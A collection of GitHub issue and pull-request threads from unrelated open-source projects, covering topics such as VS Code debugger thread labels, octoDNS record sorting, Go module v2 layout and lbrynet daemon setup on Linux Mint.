Because of this significant nuance of callbacks usage, which is not (or not directly) mentioned  in docs, we have gained huge increase of ooms count in our app. So, I think this warning will help other developers to avoid this issue

👍

👍

So what are the rules exactly - a callback is only cleared after it is called once? It seems better for the docs to explain a bit more explicitly what leaks memory, because it's probably ok to do something like pass O(1) callbacks that never get called. Also what do you mean by the onSuccess and onFail part - those terms aren't used elsewhere in this document.

So what are the rules exactly - a callback is only cleared after it is called once?

yes

It seems better for the docs to explain a bit more explicitly what leaks memory, because it's probably ok to do something like pass O(1) callbacks that never get called.

ok, I'll add

Also what do you mean by the onSuccess and onFail part - those terms aren't used elsewhere in this document.

yes, the docs is incomplete about this, but they actually exist in function definition

OK cool, I messed with the precise wording a bit but I think I have captured the right information here. Thanks for submitting this pull request, it's always useful to improve the documentation!


I want looping video for digital signage

I am sure someone wants a linux distro that plays a video one time and then stops but I am not that person

Yes, that is definitely in the pipeline. I suspect I will probably implement a way to pass arbitrary arguments to mpv, with video looping tied to its own special shortcut, or perhaps just enable it by default. time will tell...
In the interim, you have a couple options:
The best solution is to probably just edit the relevant S03Video* script to your liking with the "--loop-playlist" flag.
See: https://mpv.io/manual/stable/#playback-control.
Alternatively, (this is not a very good idea) you could simply create a new larger video that is just the old video on repeat a large number of times.
something like: "ffmpeg -stream_loop 10 -i myvideo.mkv  -c copy myvideo_looped.mkv" would create a video that repeats 10 times.
see  "-stream-loop" at https://ffmpeg.org/ffmpeg.html#toc-Main-options.
It's worth mentioning the initramfs has a max size of (I think) 2GB, so I would recommend the disk or hybrid build style, not the ram one. Also you might be limited to 4GB files on disk. YMMV.
The last thing I can think of (and this is probably a very, very bad idea) is to simply specify the same video multiple times to vobu with the -v option or by creating a folder full of identical videos/symlinks to one video.
something like:
"vobu.sh -v myvideo.mkv  -v myvideo.mkv -v myvideo.mkv -v myvideo.mkv -v myvideo.mkv -v myvideo.mkv -v myvideo.mkv -v myvideo.mkv -v myvideo.mkv -v myvideo.mkv -v myvideo.mkv -v myvideo.mkv -v myvideo.mkv -v myvideo.mkv -v myvideo.mkv -v myvideo.mkv -v myvideo.mkv -v myvideo.mkv -v myvideo.mkv -v myvideo.mkv -v myvideo.mkv -v myvideo.mkv -v myvideo.mkv...."
Some things to know however:
When a video file is specified with -v, vobu stores the filename in an array,
When a directory is specified with -v, the find program is used to collect the videos. see:  https://en.wikipedia.org/wiki/Find_(Unix)
Using "-v myvideo.mkv" at infinitum the maximum number of videos is probably limited by the max number of elements bash can store in an array... which is apparently an unlimited number?
See: https://www.gnu.org/software/bash/manual/html_node/Arrays.html
I suspect you would be limited by the largest number that the C language supports.
and I recon you might have similar problems with find as well.
Now it is interesting that: "ISO 9660 filesystems can have up to 2 exp 32 blocks, i.e. 8 TiB" https://wiki.osdev.org/ISO_9660
So you could have (depending on the runtime/encoding/resolution of the video, your disk size, phase of the moon etc.) so many copies of the video on disk so as to be practically infinite.
But again, this most certainly not a good way to do this, I would just edit the S03Video* scripts.
hope that helps.

I am dissatisfied by your suggested workarounds

closed by 91f201d8bc5e769323d76c6d18dda1187295b9f4


Multi thread debugging: wrong Paused on Breakpoint label

Tests: https://github.com/Microsoft/vscode/issues/29168

VSCode Version: 1.14 test pass
OS Version: Windows

Steps to Reproduce:

C# setup as described in #29168
Set a breakpoint in one of the threads.
The UI shows:

Although the first two threads are not paused.

Actually it looks like that under C# the VM stops. Setting a breakpoint in A and B first hits one breakpoint and when pressing continue the second one is hit. So when the VM is stopped I should be able to inspect that call stacks of all threads.

@dbaeumer great catch!

Still see it on

Should it be fixed there ?

Yeah it shuold be fixed there -> reopening to see if I can also repro with latest

I just tried with latest insiders and I can not repro both on Win and on Mac.
I think we are using the same sample program so I can only ask you to try again with latest insiders?
I believe the original issue is fixid, so pushing this one to july to see why it is not working for you

I see this on todays insider:

And when you click on Thread 1 and Thread 2 they can not be expanded?

I see this when expanding:

@dbaeumer I think that is exected behavior. What would you expect there?
I am not sure what is the issue currently?

@isidorn IMO the thread B is not paused on a breakpoint. Otherwise we would have a stop on line 31. But all threads are labels as "Paused on Breakpoint". Since thread B is actually running the UI should indicate that. To my knowledge a breakpoint in a multi threaded environment can either only stop the thread where the break point is hit or all threads. The UI should indicate that.

Reopening issue.
@chrmarti I guess the bot closed the issue since @isidorn owns it and I filed it (both MS employees) and I didn't count as the one providing the needed information.

@dbaeumer Correct. Maybe the bot should check if the creator is from the team and in that case leave the bug open. It's not clear though if that will improve things overall.

This is coming from the debug adapter. VS Code will show the stopped reason per thread, however the c# debug adapter gives reason "breakpoint" for each stopped thread.
I have filled an issue in the C# extension here https://github.com/OmniSharp/omnisharp-vscode/issues/1667

@isidorn I don't understand what you are expecting the extension to return. The debug adapter just sends one stopped event and uses "allThreadsStopped": true. I think the suggestion in this issue would be in this case to use a more generic reason for the other threads.
Here is an example stopped event from the C# debug adapter:
{
  "seq": 27,
  "type": "event",
  "event": "stopped",
  "body": {
    "reason": "breakpoint",
    "threadId": 21448,
    "allThreadsStopped": true,
    "source": {
      "name": "Program.cs",
      "path": "d:\\proj\\cliasynctest\\Program.cs"
    },
    "line": 11,
    "column": 14
  }
}

@gregg-miskelly yes you are right, the issue comes from the vscode side when we are cloning the stopped deatils in the allThreadsStopped case here
Thus reopening and setting to august


EnvoyFilter with useMCP=false is extremely slow in Pilot

With MCP, I see Pilot using ~1 CPU. I turn off MCP and it shoots to 20 CPUs. A profile shows this is all from .List on EnvoyFilter

Root cause seems to be that we are not using PushContext cache here, so we call this for every listener. MCP is fast since its just returning some data, but for the non-mcp we are marshalling every time

https://github.com/istio/istio/pull/19881


Tested Subnet Network Keywords No show up in Subnet

Hi I make yesterday a test with subnet networks of RED_GLOBAL
According to : https://github.com/redmatrix/hubzilla/blob/master/doc/directories.bb
I use 3 domains:
One domain directory in the subnet
Second domain cache from RED_GLOBAL:SUBNET
Third Domain Can see Only the Subnet
Issue:
Domain Directory show all users from subnet and redglobal and keywords to
Third Domain in the subnet Show users from Red_Global in Directory but not show the Keywords

I will close this ticket now start showing Up after several Pulls I will continue my test and informing about any bugs or issues


Reinstate text/plain and text/x-nquads.

Anything running OpenRDF/Sesame < 2.8.0 uses the old content types. Unless there's some cost to continuing to support them, my feeling is we should leave them in.
See: https://github.com/ruby-rdf/rdf/commit/ada4b791aaa681e4af6adc2b270951eafa9801f8#commitcomment-13940560 and https://jira.blazegraph.com/browse/BLZG-1096

That's unfortunate, you'd think by now things would have been more generally update. Text/plain causes the most head-ache, but we've lived with it thus far.
I'll do the revert.

Done.


SDK doesn't send bucket settings

When we create or update a bucket,  we can optionally send its setting in JSON. But SDK doesn't do it:
        async with aiohttp.ClientSession() as session:
            async with session.post(f"{self.url}/b/{name}") as response: # <-- here the settings must be passed
                if response.ok:
                    return Bucket(self.url, name, settings)
                raise ReductError(response.status, await response.read())

fixed in https://github.com/reduct-storage/reduct-py/commit/603cf4b3d245282b2cc4f96870326e43d08bce35


Possibility of taking advantage of rust enums?

We currently have boolean signals for is loading and is fetching.
What if we have an enum with all the states of the data?
pub enum DataStates<T> {
    Loading,
    Fetching {
        old_data: T
    },
    Loaded {
        is_stale: bool,
        data: T
    }
}

Horrible example, but you get the point. This way, certain variables can only exist in certain states, preventing mis-use of data when it cannot exist.
Thoughts?

I think this is a great idea.
I can definitely add this to QueryResult and add derived boolean signals for people who only want to use one variation.

Closed by #3

Closed by #3


Editor: Run validation on every text change, not only inserts

Fixes #11616 by running validation on every code change in the editor, not only on inserts.
Tested locally, seems to work fine - not sure if there was any reason to only do this on inserts though :)

Is _text_changed executed also when the shader is just opened in the code editor?

From my testing, it seems it is called once each time the editor opens a script/shader, but not when it is closed.

@Noshyaar Rebased


[SPARK-50095][CONNECT][TESTS] Enable ProtoToParsedPlanTestSuite to run successfully in IDE

What changes were proposed in this pull request?
The pr aims to enable ProtoToParsedPlanTestSuite to run successfully in IDE.
Why are the changes needed?

Taking read as an example
in the file sql/connect/common/src/test/resources/query-tests/queries/read.json, we found that the value of paths is a relative directory that cannot be correctly recognized in the IDE.
https://github.com/apache/spark/blob/b72bf79f5a26f1a57527fbb083bd3c74d42169e8/sql/connect/common/src/test/resources/query-tests/queries/read.json#L13

Before:

[PATH_NOT_FOUND] Path does not exist: file:/Users/panbingkun/Developer/spark/common/src/test/resources/query-tests/test-data/people.csv. SQLSTATE: 42K03
org.apache.spark.sql.AnalysisException: [PATH_NOT_FOUND] Path does not exist: file:/Users/panbingkun/Developer/spark/common/src/test/resources/query-tests/test-data/people.csv. SQLSTATE: 42K03
	at org.apache.spark.sql.errors.QueryCompilationErrors$.dataPathNotExistError(QueryCompilationErrors.scala:1643)
	at org.apache.spark.sql.execution.datasources.DataSource$.$anonfun$checkAndGlobPathIfNecessary$4(DataSource.scala:802)
	at org.apache.spark.sql.execution.datasources.DataSource$.$anonfun$checkAndGlobPathIfNecessary$4$adapted(DataSource.scala:799)
	at ... run in separate thread using org.apache.spark.util.ThreadUtils ... ()
	at org.apache.spark.sql.execution.datasources.DataSource$.checkAndGlobPathIfNecessary(DataSource.scala:806)
	at org.apache.spark.sql.execution.datasources.DataSource.checkAndGlobPathIfNecessary(DataSource.scala:566)
	at org.apache.spark.sql.execution.datasources.DataSource.resolveRelation(DataSource.scala:408)
	at org.apache.spark.sql.DataFrameReader.loadV1Source(DataFrameReader.scala:138)

After:

Does this PR introduce any user-facing change?
No, only for tests.
How was this patch tested?

Pass GA.
Manually check

 build/sbt "connect/testOnly org.apache.spark.sql.connect.ProtoToParsedPlanTestSuite"

[info] - function_raise_error (1 millisecond)
[info] - column_when_otherwise (2 milliseconds)
[info] - function_date_trunc (1 millisecond)
[info] Run completed in 11 seconds, 394 milliseconds.
[info] Total number of tests run: 702
[info] Suites: completed 1, aborted 0
[info] Tests: succeeded 702, failed 0, canceled 0, ignored 0, pending 0
[info] All tests passed.
[success] Total time: 145 s (02:25), completed Oct 24, 2024, 9:54:09 AM

Was this patch authored or co-authored using generative AI tooling?
No.

cc @HyukjinKwon @zhengruifeng


Fix typos

Check the scripts and/or documentation to find typos to fix. This is highly appreciated!
Some places to look for typos:

Docstrings of the code
Example notebooks, specially agents

@Gonmeso @raphaelDkhn I would like to take on this issue


Merge upstream 1.4.5

Merges upstream changes as of v1.4.5 release

Welcome to Codecov :tada:
Once you merge this PR into your default branch, you're all set! Codecov will compare coverage reports and display results in all future pull requests.
Thanks for integrating Codecov - We've got you covered :open_umbrella:


Enhancement: Setup Validation Improvement Suggestion

The test.htm --> test.asp process/method is a good start, but needs another step to validate the DSN entries by attempting the SQL connections.  Please add that as a third step?
Also, it might be best to record a value somewhere to indicate that the test process was completed.  If not found, it should prompt the user to run through it first.  Might help on first-time use problems.

Included in build 2<IP_ADDRESS>


Wrong API docs on /jobs

Doc says that /jobs return status field, while in fact it returns state field.

Thank you @uhbif19 for pointing this out!


feat: more support towards helmfile per team/microservice

In #96 we have discussed about merging multiple sub-helmfiles into a single or central one, but stayed in favor of #151 #160. However it doesn't necessarily mean #160 is the end result.
How about introducing helmfiles: in helmfile.yaml to do the same thing with the helmfile.d feature, but for sub-helmfile located in arbitrary paths?
For example. this example helmfile.yaml would work exactly same as the helmfile.d:
helmfiles:
- helmfile.d/*.yaml

Helmfiles are sorted alphabetically per group = array item inside helmfiles:, so that you have granular control over ordering(#137).

Suppose I have my microservices organized in a Git reposistory that looks like:

myteam/ (sometimes it is equivalent to a k8s ns, that is kube-system for clusterops team)

apps/

filebeat/

helmfile.yaml (no charts/ exists, because it depends on the stable/filebeat chart hosted on the official helm charts repository)
README.md (each app managed by my team has a dedicated README maintained by the owners of the app)

metricbeat/

helmfile.yaml
README.md

elastalert-operator/

helmfile.yaml
README.md
charts/

elastalert-operator/

<the content of the helm chart>

One of the benefits of this structure is that you can run git diff thing to locate in which directory=microservice a git commit has changes. My CI system is able to run a workflow for the changed microservice only.
A downside of this is that you don't have an obvious way to sync all microservices at once. That is, I have to run:
for d in apps/*; do helmfile -f $d diff; if [ $? -eq 2 ]; then helmfile -f $d sync; fi; done

At this point, you'll start writing a Makefile under myteam/ so that make sync-all will do the job.
The question is, can't we do better? I believe we can, with the proposed feature.
You would write a helmfile.yaml like:
helmfiles:
- apps/*/helmfile.yaml

So that you can get rid of the Makefile and the bash snippet.
Just run helmfile sync inside myteam/, and you are done.

@mumoshu This concept might also make sense for the environment concept that we talked about in another ticket.  As we had the issue of loading the environment before loading the helmfile.  In this situation this helmfile.yaml that references other helmfile could load global defaults that could be used by all of the other helmfiles.

@sstarcher That's absolutely an interesting idea.
As I'm eager to keep each sub-helmfile.yaml self-contained, I won't like "inheriting the whole environment values" into sub-helmfiles.
But I'm certainly ok with helmfile --environment production sync to propagate just the environment name, so that all the sub-helmfiles are synced, conceptually, with helmfile --environment -f apps/filebeat/helmfile.yaml where the filebeat should be replaced by each directory to which the glob pattern matched.
In the apps/filebeat/helmfile.yaml, would you define the filebeat's own production environment":
environments:
  production:
    values:
    - ../some/team-wide/global/values.yaml
    - filebeat/specific/values.yaml

releases:
- name: filebeat
   # snip

How does it sound to you?

ya, that makes sense.  When you wrote helmfile --environment -f apps/filebeat/helmfile.yaml
Did you mean helmfile --environment production -f apps/filebeat/helmfile.yaml

Ahh, exactly!

@mumoshu you're on a real tear! love all these new features.


Incorrect Error handling in UpdateService

Just a blurb so that we don't forget:
UpdateService does not return proper gRPC errors for some errors. Also, no error is returned if a service cannot be found.
We should fix those to prevent more errors being added in an incorrect way
/cc @stevvooe

Also, no error is returned if a service cannot be found.

I don't think so?
 	if service == nil {
 		return nil, grpc.Errorf(codes.NotFound, "service %s not found", request.ServiceID)
	}

@aaronlehmann What about this line? https://github.com/docker/swarmkit/blob/5b369e3f789266de72d880feccaa9ac753ebf075/manager/controlapi/service.go#L395
		service = store.GetService(tx, request.ServiceID)
		if service == nil {
			return nil
		}

And the other areas that don't correctly use grpc error codes:
		if !reflect.DeepEqual(requestSpecNetworks, specNetworks) {
			return errNetworkUpdateNotSupported
		}

@aaronlehmann What about this line? https://github.com/docker/swarmkit/blob/5b369e3f789266de72d880feccaa9ac753ebf075/manager/controlapi/service.go#L395

That's in a closure. After the closure, there's this check:
	if service == nil {
		return nil, grpc.Errorf(codes.NotFound, "service %s not found", request.ServiceID)
	}

I agree about the inconsistent use of gRPC error codes, though.

@aaronlehmann Looks like that line appears in a few places throughout that function.

How about:
if !reflect.DeepEqual(requestSpecNetworks, specNetworks) {
return errNetworkUpdateNotSupported -->grpc.Errorf(codes.Unimplemented, errNetworkUpdateNotSupported.Error())?
}

@jmzwcn: Yes, that's the right idea.

@aaronlehmann this issue can be closed I suppose :)

Agreed, and thanks for the reminder.


SwiftPM.swift included in CocoaPods framework

CatchPolicy in SwiftPM conflicts with declaration in AnyPromise.h, removing SwiftPM from the build phase fixed it locally for me. Do I need this file, or is it only for swift package manager?

My bad. It's not possible for me to test the pod on my machine or travis for some reason.

Pushed a fix. Verified that the podspec parses at least.

Oh one sec

Fixed.


Add unit tests for Base64 and Charsetfunctions

Description
Hi,
I've analysed your code base and noticed that org.java_websocket.util.Base64 and org.java_websocket.util.Charsetfunctions are not fully tested.
I've written some tests that cover these classes with the help of Diffblue Cover.
Motivation and Context
Hopefully, these tests should help you detect any regressions caused by future code changes. If you would find it useful to have additional tests written for this repository, I would be more than happy to look at other particular classes that you consider important.
Types of changes

[ ] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)

Checklist:

[ ] My code follows the code style of this project.
[ ] My change requires a change to the documentation.
[ ] I have updated the documentation accordingly.
[x] I have added tests to cover my changes.
[x] All new and existing tests passed.

@marci4 Done!

@PhilipRoman you're good with the changes?

Yeah, sure

@PhilipRoman thx! :)


Can't load lbrynet on Linux Mint

Am I missing a detail somewher? I simply downloaded the file, extracted it, and then clicked on it but nothing happens. I made sure the box for "Allow executing file as program" was checked. Any help would be appreciated. Thanks.

What happens if you launch it from cli?
./lbrynet start

./lbrynet start

cd Downloads/zip
~/Downloads/zip$ ./lbrynet start
2022-11-26 10:07:28,652 INFO     lbry.extras.daemon.daemon:489: Starting LBRYNet Daemon
2022-11-26 10:07:28,652 INFO     lbry.extras.daemon.daemon:491: Platform: {
"processor": "x86_64",
"python_version": "3.7.15",
"platform": "Linux-5.15.0-53-generic-x86_64-with-debian-bullseye-sid",
"os_release": "5.15.0-53-generic",
"os_system": "Linux",
"lbrynet_version": "0.112.0",
"version": "0.112.0",
"build": "release",
"distro": {
"id": "linuxmint",
"version": "20.3",
"version_parts": {
"major": "20",
"minor": "3",
"build_number": ""
},
"like": "ubuntu",
"codename": "una"
},
"desktop": "X-Cinnamon"
}
2022-11-26 10:07:28,653 ERROR    lbry.extras.daemon.daemon:503: RPC server failed to bind TCP localhost:5279
2022-11-26 10:07:28,654 INFO     lbry.extras.daemon.daemon:564: stopped api components
2022-11-26 10:07:28,654 INFO     lbry.extras.daemon.daemon:568: stopped api server
2022-11-26 10:07:28,654 INFO     lbry.extras.daemon.daemon:571: finished shutting down

Okay something happened. I guess it's running now? I see several lbrynet listings in my system monitor.

Do you possibly already have LBRY desktop app running? It also uses lbrynet daemon, and starts its own when started and if there isn't already running one.  Or then something else is using that same port.

Yes I had the LBRY client running. I didn't know it does the same thing. So I don't need to bother running lbrynet?
I'm trying to get the LBRY addon in LibreELEC to work so I can download videos and support the network. I've tried just running the LBRY client on a separate PC on the same LAN and changing the API address in the addon to http://localhost:5279 but nothing changes.

Does LibreELEC have any debug tools? Are you getting any kind of error message?
One thing to try is to add this in your daemon_settings.yml:
allowed_origin: '*'
https://lbry.tech/resources/daemon-settings
If you have something important in your wallet, make sure that the API port isn't reachable from outside of the trusted LAN when allowed_origin is any, since that line would allow anyone to run calls on your lbrynet, if you firewall isn't blocking their access.

Yes it can make logs. Here a link to one I just made. Seem like there's a lot of stuff to sift through though.
I added allowed_origin: '*' to the yml config file but still no change. Switched to a different LAN for both my laptop and the RPI but no change.  Firewall was disabled the whole time. Here's the output from my terminal.
My wallet doesn't have any funds so I'm not worried about it.
I set the API in the YML config file to the port you suggested but nothing changed. Here's the output.

In both lbrynet logs it seems to be listening in <IP_ADDRESS>:5279, doesn't that mean it can't be reached outside of localhost.

I have no idea.
I think I'll delete the modifications to the yml config file and hold off until things are more polished and easier to use. It would be nice if the LibreELEC addon offered login and download/upload capabilities on its own.

I have the same issue. But I can connect through <IP_ADDRESS>:5279 instead of localhost:5279.


cloud-init linux set password

Description of problem [include screenshots and browser console logs]:
When creating a VM and using cloud-init there is no way to set root password or create user for linux or BSD VMs only Windows.
VM Portal version number:1.7.1
oVirt version number:<IP_ADDRESS>-1.el8
Browser and version:Google Chrome Version 93.0.4577.82
Steps to Reproduce:

Create new VM
select linux operating system
select cloud-init

Actual results:
hostname and ssh key section
Expected results:
method of creating user and setting root password
Additional info:

So those fields should be added for cloud-init as well. It needed to be added to both create vm and edit vm dialogs.
@prstaniforth you are most welcomed to contribute to the web-ui project and implement this if it's urgently needed for you. It will be great and we can help you if needed. Thanks.


This PR makes minor changes to the readme.

This PR updates the readme to use the latest version of the adapter and to ensure the path is correct for the dependency.

Thanks @ChrisFryLivefront


Validate config values

odo config set needs to check if the input value is valid
This can't be allowed:
▶ odo config set memory asdf
? memory is already set. Do you want to override it in the config Yes
Local config was successfully updated.

tmp/odo-examples/nodejs-ex  master ✗                                                                                241d ⚑ ◒
▶ cat .odo/config.yaml
kind: LocalConfig
apiversion: odo.openshift.io/v1alpha1
ComponentSettings:
  Type: nodejs
  SourceLocation: /Users/tkral/tmp/odo-examples/nodejs-ex
  SourceType: local
  Application: nodejs-ex-wzxy
  Project: tkral
  Name: mynode
  MinMemory: asdf
  MaxMemory: asdf

Sensible validation needs to be added to each config option.
Some of the validation:

Correct value for memory and cpu (with units check)
length check for name, project, and application
...

/priority high
/kind enhancement

needed before beta @kadel ?

needed before beta @kadel ?

I would say good to have.

 ./odo config view
 ✗  the current directory does not represent an odo component.
Maybe use 'odo create' to create component here or switch to directory with a component

which looks similar to #1599

@dharmit odo config view will only work if you have a component in the current folder
which means as the command suggest you need to create a component by doing
odo create <type>  or odo create nodejs

/assign @drichtarik

/assign @drichtarik


Record Sorting Requirements

Am attempting to load a large zone and keep getting:
yaml.constructor.ConstructorError: keys out of order: ab, a

I've debugged it down to the ordering of the records in the YAML input file.  The following provides the error:
---
ab:
    type: A
    values: [<IP_ADDRESS>]
a:
    type: A
    values: [<IP_ADDRESS>]

What sorting standard should the YAML keys be treated with before being fed to OctoDNS?

It requires things to be sorted alphabetically, so the a record should come before ab.  Same goes for the 2nd level, though in this cases they're already ordered correctly.
It's just something that we try to enforce to keep things from getting messy over time. It's nice to be able to scan to the right spot in a file and know whether or not something is there. It's also nice to have a consistent/standard way to order the record fields. It could be made optional so that it can be turned off if people don't wan it, but without someone feeling strongly enough to do the PR it'll probably remain as is.

It doesn't appear strictly alphabetical.  This is the result of a PHP "natural" sort. I've tried a few sort ordering variations and haven't been able to match what's expected yet:
---
45a03129:
    ttl: 14400
    type: A
    values: [<IP_ADDRESS>]
45a0392a:
    ttl: 14400
    type: A
    values: [<IP_ADDRESS>]

yaml.constructor.ConstructorError: keys out of order: 45a03129, 45a0392a

It doesn't appear strictly alphabetical.

Ah. When there's numbers involved it does something a bit more involved and zero-pads them to get a "natural" sort order, probably doesn't match what PHP does. Code lives in https://github.com/github/octodns/blob/ea653c7c2ad77c3e23fb28177c6a3e53d25076c0/octodns/yaml.py. There's an old blog post about it here.
We don't have anything hex-like (defined in our yaml files, we do in dynamic stuff) so haven't run into this and the behavior there isn't great.
Might make sense to look at using an existing solution for that, there appears some python options https://pypi.python.org/pypi/naturalsort/1.5.1. No clue if they'd match php's.

Got it - thanks.  Will sort it out on my end.

Got it working - 8k record zone importing now.  Thanks for the help!
For anyone looking for a PHP based export solution the following sort function is what I came up with:
  /**
   * Zero pad compare the 2 subjects.
   *
   * https://github.com/github/octodns/issues/43#issuecomment-303926644
   *
   * @param mixed $a
   * @param mixed $b
   * @return int
   */
  private static function _octoDnsCompare($a, $b) {
    // zero pad all ints to get a 4 digit # zero-padded
    $zero_pad = function($x) {
      return preg_replace_callback(
        '(\d+)',
        function($d) { return sprintf("%04d", $d[0]); },
        $x
      );
    };

    return strnatcmp($zero_pad($a), $zero_pad($b));
  }

Got it working - 8k record zone importing now. Thanks for the help!

Nice. Glad you have it worked out (fighting the urge to use sorted there.)

I want to pipe in here if it's not inappropriate.
I get requiring the host records to be alphabetized, but what throws me off is the requirement that values be alphabetized as well.  For example, with SRV records, the values are usually listed as priority, weight, port, and target.  But they are required to be ordered as port, priority, target, and weight.  And whether you list them in "order" of the record or just some random order, I'm surprised it kicks it with an error.

And whether you list them in "order" of the record or just some random order, I'm surprised it kicks it with an error.

That's just the validations that we put on things internally so that the records are consistently setup. In an ideal world it probably would sort them in the order the RFC talks about them, that would be fine too, just not what was implemented for the sake of time (it'd also be tougher to do with the way the the yaml sorting can be hooked in.)
I'm going to re-open this issue for tracking improvements to the sorting stuff, but I have no ETA on when that might happen. Unfortunately pretty low priority compared to some of the other stuff I'd like to see land.

[ ] Look at using one of the established natural sort order modules, didn't find one when I wrote my version several years ago and now that there are OSS'd ones might as well use them
[ ] Look at making sorting optional altogether. Related to #3
[ ] Evaluate what it would take to sort the record keys in ~RFC order. Related to #4 which would better adhere to RFC naming as well

I totally understand, and I appreciate taking my comment into consideration.  If I knew anything about coding, I'd help with it!

Look at using one of the established natural sort order modules, didn't find one when I wrote my version several years ago and now that there are OSS'd ones might as well use them
Look at making sorting optional altogether. Related to #3

These two are in https://github.com/github/octodns/pull/70

Evaluate what it would take to sort the record keys in ~RFC order. Related to #4 which would better adhere to RFC naming as well

Not going to address this one now. Will make note of it in the #4 to potentially be addressed when that work happens.


Fix index out of bound error when parsing entry

strings.SplitN returns at most 3 substrings

Good call.


Classy Dropdown with animation effect

What's the style idea?
We need to add a dropdown component with animation and classy design
Checklist

[X] I have checked the existing issues.
[X] I follow Contributing Guidelines of this project.
[X] I am a GSSOC'24 contributor.
[ ] I am a IWOC'24 contributor.
[ ] I am a JWOC'24 contributor.
[ ] I am a SWOC'24 contributor.

Code of Conduct

[X] I agree to follow this project's "Code of Conduct".

Do you have any supporting screenshot @Utsavladia

@Rakesh9100
something like this

@Rakesh9100 should I add this ??  looks good


error setting scalar component X.set_coef(0, 0, value)

The scalar component of a multi-vector can not be set with
X.set_coef(igrade=0, ibase, value)
for any value of ibase .
Reason: The first element of self.Ga.blades or self.Ga.bases is the empty list [].
Any index ibase into this empty list will throw an error.
Example code:
x = 1 + a1 + a2 + a1*a2
x.set_coef(0, 0, 42)
/opt/local/Library/Frameworks/Python.framework/Versions/3.8/lib/python3.8/site-packages/galgebra/mv.py in set_coef(self, igrade, ibase, value)
1174     def set_coef(self, igrade, ibase, value):
1175         if self.blade_rep:
-> 1176             base = self.Ga.blades[igrade][ibase]
1177         else:
1178             base = self.Ga.bases[igrade][ibase]
IndexError: list index out of range

What version are you using? I think I already fixed this.

I am using version ‘0.4.5’ from the repository.

On 15 Jan 2020, at 8:53 am, Eric Wieser<EMAIL_ADDRESS>wrote:
What version are you using? I think I already fixed this.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or unsubscribe.

Darn, well that was worth a try. I'm not really a fan of that function at all, it's the only one that mutates state.
I'll see if I can fix this in the next few days, but I think the API is just poorly designed here

I agree. But if you remove the set_coefs function, what is then the canonical way to create a multivector from an iterable (list, numpy.array etc.) of Sympy expression components?
As an example, assume vector space dimension 2, and given Sympy variables
r, s, t, u = symbols(‘r, s, t, u’),
I want to define my own
coefficients = [r, s, t, u]  (or numpy.array([r, s, t, u]) etc.)
and then
create_base_multivector(coefficients)  resulting in a multivector:  r + sa1 + ta2 + ua1a2
or
create_blade_multivector(coefficients) resulting in a multivector:  r + sa1 + ta2 + u*a1^a2 (note the wedge in the last term)
For full metric, those two multivectors are not the same (as you are surely aware) because a1a2 = uQ_12 + a1^a2 (and Q_12 is the
inner product of a1 and a2).

On 15 Jan 2020, at 9:15 am, Eric Wieser<EMAIL_ADDRESS>wrote:
Darn, well that was worth a try. I'm not really a fan of that function at all, it's the only one that mutates state.
I'll see if I can fix this in the next few days, but I think the API is just poorly designed here
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or unsubscribe.


Reports 128-bit ids to Zipkin

This allows Wingtips to report 128-bit trace IDs to Zipkin, by parsing
this high bits of a 32-character hex-encoded ID.
See https://github.com/openzipkin/b3-propagation/issues/6

Note: this doesn't initiate 128-bit traces. This might be desired at some point. For example Brave has the following builder to do that. Note span ids in a trace are still 64-bit.
Brave.Builder.traceId128Bit(true)

Current coverage is 98.52% (diff: 77.77%)

Merging #34 into master will decrease coverage by 0.28%

@@             master        #34   diff @@
==========================================
  Files            12         12
  Lines           674        680     +6
  Methods           0          0
  Messages          0          0
  Branches        121        123     +2
==========================================
+ Hits            666        670     +4
- Misses            2          3     +1
- Partials          6          7     +1

Powered by Codecov. Last update 2746089...7df97f1

ah right! ok I'll duplicate the test then? or is there a way to add another
dimension to it (i wonder)

@adriancole whatever you want to do is fine - feel free to duplicate the test, or add another dimension. Either way. If you want to add another dimension and you're not familiar with the com.tngtech.java:junit-dataprovider all you should have to do is separate the new dimension with a | pipe, something like:
@DataProvider(value = {
        "                                      |    true", // less than 16 chars
        "                                      |    false", // less than 16 chars
        "123e4567-e89b-12d3-a456-426655440000  |    true", // longer than 32 chars
        "123e4567-e89b-12d3-a456-426655440000  |    false", // longer than 32 chars
etc etc

And then add the new dimension to the method args: public void huge_long_method_name(final String badHexString, boolean goodNameForNewDimension).

thanks.. I rejigged the one test to show the parsing exceptions were the same regardless of offset. Then, made one that looks redundant, but I think useful to have in the context of where this is all put together.

Looks great. I'll go through at some point and fill in the remaining code coverage - it'll be good for me to make sure I understand 100% what you added. And I added a ticket for optionally supporting 128 bit trace ID initiation. Thank you!

thanks for the support!


Move library implementation into v2 subdirectory

So, after being confronted to the following error from the go mod command line tool, I see that we didn't do the migration work required when moving from no-modules to go modules. The error:
/Users/sam/Development/Go/gopath/src/github.com/optiopay/micro/go.mod:24: require github.com/optiopay/kafka: version "v2.1.0" invalid: module contains a go.mod file, so major version must be compatible: should be v0 or v1, not v2

I did a bit of research, what I now understand is that go modules for versions greater than 1 require to have the source code in a vN subdirectory, where N is the major version.
Links:

https://stackoverflow.com/a/53380636.
That's also something hinted in https://blog.golang.org/migrating-to-go-modules but not explained in details
https://github.com/golang/go/wiki/Modules#releasing-modules-v2-or-higher

I guess that this PR will break compatibility for old versions of golang that don't support modules.

@e-max I didn't move kafkatest to v2 directory because it isn't supported anymore as far as I understood. Also, testkeys is just some assets for our tests and should be the same regardless of the library version, I kept it at top level of the repo.

Hmm, do I also have to move the go.mod and go.sum files to v2? What do you think?

Ok, I found https://github.com/golang/go/wiki/Modules#releasing-modules-v2-or-higher, emphasis is mine:

Major subdirectory: Create a new v3 subdirectory (e.g., my/module/v3) and place a new go.mod file in that subdirectory. The module path must end with /v3. Copy or move the code into the v3 subdirectory. Update import statements within the module to also use /v3 (e.g., import "github.com/my/module/v3/mypkg"). Tag the release with v3.0.0.

This provides greater backwards-compatibility. In particular, Go versions older than 1.9.7 and 1.10.3 are also able to properly consume and build a v2+ module created using this approach.
A more sophisticated approach here could exploit type aliases (introduced in Go 1.9) and forwarding shims between major versions residing in different subdirectories. This can provide additional compatibility and allow one major version to be implemented in terms of another major version but would entail more work for a module author. An in-progress tool to automate this is goforward. Please see here for more details and rationale, along with a functioning initial version of goforward.
Pre-existing dependency management solutions such as dep should be able to consume a v2+ module created in this way.

@e-max I didn't move kafkatest to v2 directory because it isn't supported anymore as far as I understood.

